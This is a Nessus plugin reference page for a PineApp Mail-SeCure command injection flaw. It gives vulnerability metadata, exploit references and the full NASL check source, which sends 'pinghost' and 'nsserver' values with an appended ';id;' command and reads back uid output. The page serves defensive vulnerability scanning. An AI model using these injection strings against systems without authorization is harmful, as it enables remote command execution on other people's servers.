PineApp Mail-SeCure admin/confnetworking.html Multiple Parameter Remote Command Injection - Nessus

High   Plugin ID: 71050

This page contains detailed information about the PineApp Mail-SeCure admin/confnetworking.html Multiple Parameter Remote Command Injection Nessus plugin including available exploits and PoCs found on GitHub, in Metasploit or Exploit-DB for verifying of this vulnerability.

Plugin Overview


ID: 71050
Name: PineApp Mail-SeCure admin/confnetworking.html Multiple Parameter Remote Command Injection
Filename: pineapp_mail_secure_confnetworking_rce.nasl
Vulnerability Published: 2013-11-19
This Plugin Published: 2013-11-22
Last Modification Time: 2022-04-11
Plugin Version: 1.12
Plugin Type: remote
Plugin Family: CGI abuses
Dependencies: pineapp_mail_secure_detect.nasl
Required KB Items [?]: www/pineapp_mailsecure

Vulnerability Information


Severity: High
Vulnerability Published: 2013-11-19
Patch Published: N/A
CVE [?]: CVE-2013-6829, CVE-2013-6830
CPE [?]: cpe:/a:pineapp:mail-secure

Synopsis

The remote web server contains a PHP script that is affected by a remote command injection vulnerability.

Description

The version of PineApp Mail-SeCure installed on the remote host is affected by a remote command injection vulnerability because the application fails to properly sanitize input to multiple parameters. This could allow a remote, unauthenticated attacker to execute arbitrary commands on the remote host by sending a specially crafted URL that appends arbitrary commands to the 'nsserver' or 'pinghost' parameters of the 'admin/confnetworking.html' script.

Note that this application is reportedly also affected by several additional vulnerabilities including a directory traversal, a privilege escalation, and an authentication bypass vulnerability; however, Nessus has not tested for those.

Solution

Upgrade to the latest software revision.

Public Exploits


Target Network Port(s): 7080, 7443
Target Asset(s): Services/www
Exploit Available: True (Metasploit Framework, Exploit-DB)
Exploit Ease: No exploit is required

Here's the list of publicly known exploits and PoCs for verifying the PineApp Mail-SeCure admin/confnetworking.html Multiple Parameter Remote Command Injection vulnerability:

  1. Metasploit: exploit/linux/http/pineapp_test_li_conn_exec
    [PineApp Mail-SeCure test_li_connection.php Arbitrary Command Execution]
  2. Exploit-DB: exploits/linux/remote/29734.txt
    [EDB-29734: PineApp MailSecure - Remote Command Execution]

Before running any exploit against any system, make sure you are authorized by the owner of the target system(s) to perform such activity. In any other case, this would be considered as an illegal activity.

WARNING: Beware of using unverified exploits from sources such as GitHub or Exploit-DB. These exploits and PoCs could contain malware. For more information, see how to use exploits safely.

Risk Information


CVSS V2 Vector [?]: AV:N/AC:L/Au:N/C:P/I:P/A:P/E:F/RL:OF/RC:C
CVSS Base Score:7.5 (High)
Impact Subscore:6.4
Exploitability Subscore:10.0
CVSS Temporal Score:6.2 (Medium)
CVSS Environmental Score:NA (None)
Modified Impact Subscore:NA
Overall CVSS Score:6.2 (Medium)
CVSS V3 Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H/E:F/RL:O/RC:C
CVSS Base Score:8.8 (High)
Impact Subscore:5.9
Exploitability Subscore:2.8
CVSS Temporal Score:8.2 (High)
CVSS Environmental Score:NA (None)
Modified Impact Subscore:NA
Overall CVSS Score:8.2 (High)

Go back to menu.

Plugin Source


This is the pineapp_mail_secure_confnetworking_rce.nasl nessus plugin source code. This script is Copyright (C) 2013-2022 and is owned by Tenable, Inc. or an Affiliate thereof.

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(71050);
  script_version("1.12");
  script_set_attribute(attribute:"plugin_modification_date", value:"2022/04/11");

  script_cve_id("CVE-2013-6829", "CVE-2013-6830");
  script_bugtraq_id(63817, 63834);
  script_xref(name:"EDB-ID", value:"29734");

  script_name(english:"PineApp Mail-SeCure admin/confnetworking.html Multiple Parameter Remote Command Injection");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a PHP script that is affected by a
remote command injection vulnerability.");
  script_set_attribute(attribute:"description", value:
"The version of PineApp Mail-SeCure installed on the remote host is
affected by a remote command injection vulnerability because the
application fails to properly sanitize input to multiple parameters. 
This could allow a remote, unauthenticated attacker to execute arbitrary
commands on the remote host by sending a specially crafted URL that
appends arbitrary commands to the 'nsserver' or 'pinghost' parameters of
the 'admin/confnetworking.html' script. 

Note that this application is reportedly also affected by several
additional vulnerabilities including a directory traversal, a privilege
escalation, and an authentication bypass vulnerability; however, Nessus
has not tested for those.");
  script_set_attribute(attribute:"see_also", value:"https://seclists.org/fulldisclosure/2013/Nov/136");
  script_set_attribute(attribute:"solution", value:
"Upgrade to the latest software revision.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:F/RL:O/RC:C");

  script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'PineApp Mail-SeCure test_li_connection.php Arbitrary Command Execution');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2013/11/19");
  script_set_attribute(attribute:"plugin_publication_date", value:"2013/11/22");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:pineapp:mail-secure");
  script_set_attribute(attribute:"thorough_tests", value:"true");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2013-2022 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("pineapp_mail_secure_detect.nasl");
  script_require_keys("www/pineapp_mailsecure");
  script_require_ports("Services/www", 7080, 7443);

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("webapp_func.inc");
include("data_protection.inc");

port = get_http_port(default:7080);

install = get_install_from_kb(
  appname      : "pineapp_mailsecure",
  port         : port,
  exit_on_fail : TRUE
);

dir = install["dir"];

cmd = "id";
cmd_pat = "uid=[0-9]+.*gid=[0-9]+.*";

urls = make_list(
  "ping&type=upframe&pinghost=%27;"+cmd+";%27&pingtimes=1",
  "nslookup&hostip=&nstype=any&nsserver=127.0.0.1;"+cmd
);

foreach url (urls)
{
  attack = "/admin/confnetworking.html?cmd=" + url;
  res = http_send_recv3(
    method : "GET",
    port   : port,
    item   : dir + attack,
    exit_on_fail : TRUE
  );

  # Grab link to frame with command output
  if ( (res[0] =~ "200 OK") && ('<frame src="livelog.html' >< res[2]) )
  {
    match = eregmatch(pattern:'src="(livelog.html?(.*))"\\s+name', string:res[2]);
    if (!isnull(match)) link = match[1];
    # Fail safes we should never reach, but if so, hardcode the paths
    else
    {
      if (url =~ "nslookup") link = "livelog.html?cmd=nslookup&toolmsg=&hostip=&nstype=YW55&nsserver=MTI3LjAuMC4xO2lk";
      else link = "livelog.html?it=&cmd=ping&pinghost=';id;'&pingtimes=1";
    }

    res2 = http_send_recv3(
      method : "GET",
      port   : port,
      item   : dir + "/" + link,
      exit_on_fail : TRUE
    );

    if (egrep(pattern:cmd_pat, string:res2[2]))
    {
      if (report_verbosity > 0)
      {
        snip = crap(data:"-", length:30)+' snip '+ crap(data:"-", length:30);
        header =
        '\nNessus was able to execute the command "' + cmd + '" on the remote' +
        ' host' + '\nusing the following URL';
        trailer = '';
        if (report_verbosity > 1)
        {
          out = strstr(res2[2], "uid");
          pos = stridx(out, "<br />");
          output = substr(out, 0, pos -1);

          trailer +=
          '\nThis produced the following output :' +
          '\n' + snip +
          '\n' + data_protection::sanitize_uid(output:output) +
          '\n' + snip + '\n';
        }
        report = get_vuln_report(
          items   : dir + attack,
          port    : port,
          header  : header,
          trailer : trailer
        );
        security_hole(port:port, extra:report);
      }
      else security_hole(port);
      exit(0);
    }
  }
}
audit(AUDIT_WEB_APP_NOT_AFFECTED, "PineApp Mail-SeCure", build_url(qs:dir, port:port));

The latest version of this script can be found in these locations depending on your platform:

  • Linux / Unix:
    /opt/nessus/lib/nessus/plugins/pineapp_mail_secure_confnetworking_rce.nasl
  • Windows:
    C:\ProgramData\Tenable\Nessus\nessus\plugins\pineapp_mail_secure_confnetworking_rce.nasl
  • Mac OS X:
    /Library/Nessus/run/lib/nessus/plugins/pineapp_mail_secure_confnetworking_rce.nasl

Go back to menu.

How to Run


Here is how to run the PineApp Mail-SeCure admin/confnetworking.html Multiple Parameter Remote Command Injection as a standalone plugin via the Nessus web user interface (https://localhost:8834/):

  1. Click to start a New Scan.
  2. Select Advanced Scan.
  3. Navigate to the Plugins tab.
  4. On the top right corner click to Disable All plugins.
  5. On the left side table select CGI abuses plugin family.
  6. On the right side table select PineApp Mail-SeCure admin/confnetworking.html Multiple Parameter Remote Command Injection plugin ID 71050.
  7. Specify the target on the Settings tab and click to Save the scan.
  8. Run the scan.

Here are a few examples of how to run the plugin in the command line. Note that the examples below demonstrate the usage on the Linux / Unix platform.

Basic usage:

/opt/nessus/bin/nasl pineapp_mail_secure_confnetworking_rce.nasl -t <IP/HOST>

Run the plugin with audit trail message on the console:

/opt/nessus/bin/nasl -a pineapp_mail_secure_confnetworking_rce.nasl -t <IP/HOST>

Run the plugin with trace script execution written to the console (useful for debugging):

/opt/nessus/bin/nasl -T - pineapp_mail_secure_confnetworking_rce.nasl -t <IP/HOST>

Run the plugin with using a state file for the target and updating it (useful for running multiple plugins on the target):

/opt/nessus/bin/nasl -K /tmp/state pineapp_mail_secure_confnetworking_rce.nasl -t <IP/HOST>

Go back to menu.

References


BID | SecurityFocus Bugtraq ID: See also: Similar and related Nessus plugins:
  • 69178 - PineApp Mail-SeCure test_li_connection.php Remote Command Injection

Version


This page has been produced using Nessus Professional 10.1.2 (#68) LINUX, Plugin set 202205072148.
Plugin file pineapp_mail_secure_confnetworking_rce.nasl version 1.12. For more plugins, visit the Nessus Plugin Library.

Go back to menu.